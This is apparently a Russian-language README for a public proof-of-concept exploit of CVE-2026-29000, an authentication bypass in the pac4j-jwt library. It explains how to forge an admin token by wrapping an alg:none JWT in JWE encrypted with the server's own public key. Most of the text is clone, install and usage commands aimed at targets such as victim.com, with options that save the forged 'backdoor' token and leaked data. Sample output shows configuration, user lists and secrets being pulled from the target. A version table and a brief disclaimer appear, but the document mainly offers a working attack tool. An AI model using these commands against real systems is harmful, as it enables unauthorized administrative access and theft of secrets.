
CVE-2026-29000 — обход аутентификации в pac4j-jwt (CVSS 10.0). Подделка прав администратора в один клик через обёртывание JWE открытым ключом. Утечка конфигураций, пользователей, секретов. Keep-alive, прокси, пользовательский JWKS. Учебный PoC-эксплойт.
CVE-2026-29000 — создание административного токена в один клик через JWT alg:none + шифрование JWE
Данный эксплойт использует CVE-2026-29000 — критическую уязвимость с оценкой CVSS 10.0 в библиотеке pac4j-jwt. Извлекая открытый ключ JWKS сервера и подделывая зашифрованный токен JWE с alg: none, он обеспечивает полный обход аутентификации и предоставляет полные административные привилегии в один клик.
alg:none, оборачивает его в собственный открытый ключ сервера| Библиотека | Уязвимые версии | Исправленные версии |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] Отказ от ответственности: данный инструмент предназначен только для авторизованного тестирования безопасности и работ в рамках red-team.
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
Базовый одноразовый эксплойт
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
Аргумент Краткий Обязательный По умолчанию Описание --target -t Да - Целевой URL (например, https://example.com:8443) --jwks -k Нет автоопределение Пользовательский путь к эндпоинту JWKS --output -o Нет Нет Сохранить поддельный JWE-токен в файл --leak -l Нет leaked_TIMESTAMP.txt Сохранить утёкшие данные в файл --verbose -v Нет False Включить отладочный вывод --proxy -p Нет Нет HTTP/HTTPS-прокси --user-agent -ua Нет Mozilla/5.0... Пользовательский User-Agent --no-keep-alive - Нет False Отключить поддержание сессии (keep-alive) --delay - Нет 5.0 Интервал keep-alive пинга (секунды) --max-retries - Нет 3 Максимум повторов на неудачный запрос --ssl-verify - Нет False Проверять SSL-сертификаты
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] ЭТАП 1: Получение открытого ключа RSA из JWKS [11:23:15] Проверка наличия эндпоинта JWKS... [11:23:16] JWKS найден по адресу /realms/master/protocol/openid-connect/certs [11:23:16] Открытый ключ RSA успешно извлечён
[11:23:16] ЭТАП 2: Формирование JWT с alg:none и шифрование в JWE [11:23:16] Поддельный JWE-токен (усечён): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ Токен сохранён в backdoor.jwe
[11:23:16] ЭТАП 3: Отправка поддельного JWE в качестве Bearer-токена [11:23:17] ✓ Аутентификация успешна! Доступ предоставлен к /api/users/me
[11:23:17] ЭТАП 4: Перечисление доступных эндпоинтов и раскрытие конфиденциальных данных [11:23:18] ✓ Утечка: /actuator/env (статус 200) [11:23:18] ✓ Утечка: /api/users (статус 200) [11:23:18] ✓ Утечка: /api/secrets (статус 200) [11:23:18] ✓ Утечка: /config/server (статус 200) [11:23:18] ✓ Захвачено 4 конфиденциальных эндпоинта → сохранено в leak.txt
[11:23:18] Сессия keep-alive активна (Ctrl+C для остановки) [11:23:18] Токен (JWE) действителен ~1 час – пересоздайте при истечении
Ознакомьтесь с другими моими репозиториями эксплойтов: